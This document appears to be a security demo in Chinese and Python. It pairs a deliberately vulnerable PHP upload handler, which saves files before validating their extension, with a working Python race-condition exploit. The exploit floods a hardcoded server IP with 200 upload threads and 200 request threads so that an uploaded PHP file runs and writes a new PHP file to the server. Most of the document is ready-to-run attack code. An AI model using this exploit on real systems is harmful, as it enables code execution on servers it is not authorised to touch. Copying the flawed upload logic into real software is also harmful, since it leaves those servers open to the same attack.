//uploads.php代码如下，仅供测试：
<meta charset='utf-8'>
<?php
    $allowtype = array("gif","png","jpg");
    $size = 10000000;
    $path = "./uploads/";

    $filename = $_FILES['myfile']['name'];

    if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
        if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
            die("error:can not move!");
        }
    } else {
        die("error:not an upload file！");
    }

    echo "file upload success.file path is: ".$path.$newfile."\n<br />";

    if ($_FILES['myfile']['error']>0){
        unlink($path.$newfile);
        die("Upload file error: ");
    }

    $ext = array_pop(explode(".",$_FILES['myfile']['name']));
    if (!in_array($ext,$allowtype)){
        unlink($path.$newfile);
        die("error:upload the file type is not allowed，delete the file！");
    }
?>

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import threading
import time

"""
200个线程上传文件aa.php，同时200个线程同时请求aa.php，aa.php中内容为
<?php fputs(fopen("info.php","w"),"<?php phpinfo(); ?>") ?>，
只要aa.php被请求成功就会生成内容为<?php phpinfo(); ?>的php文件info.php
"""

is_exit = False

def create_info():
    global is_exit
    while not is_exit:
        url = "http://123.206.78.220/uploads/aa.php"
        resp = requests.get(url)

def put_file():
    global is_exit
    file = {'myfile':('aa.php',open('C:/Users/Administrator/Desktop/aa.php'),'application/octet-stream')}
    upload_url = "http://123.206.78.220/uploads.php"
    while  not is_exit:
        requests.post(upload_url,files=file)

def check_info():
    global is_exit
    print "start threading check info.php:"
    url = "http://123.206.78.220/uploads/info.php"
    while True:
        print "check info.php..."
        resp = requests.get(url)
        if resp.status_code == 200:
            is_exit = True
            print "create file info.php success."
            break

for x in xrange(1,200):
    t = threading.Thread(target=create_info)
    t.setDaemon(True)
    t.start()
    print "start create_into threading %d" % x

for x in xrange(1,200):
    t = threading.Thread(target=put_file)
    t.setDaemon(True)
    t.start()
    print "start put_file threading %d" % x


t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
    while t.isAlive():
        pass
    time.sleep(1)
except KeyboardInterrupt:
    print 'stopped by keyboard'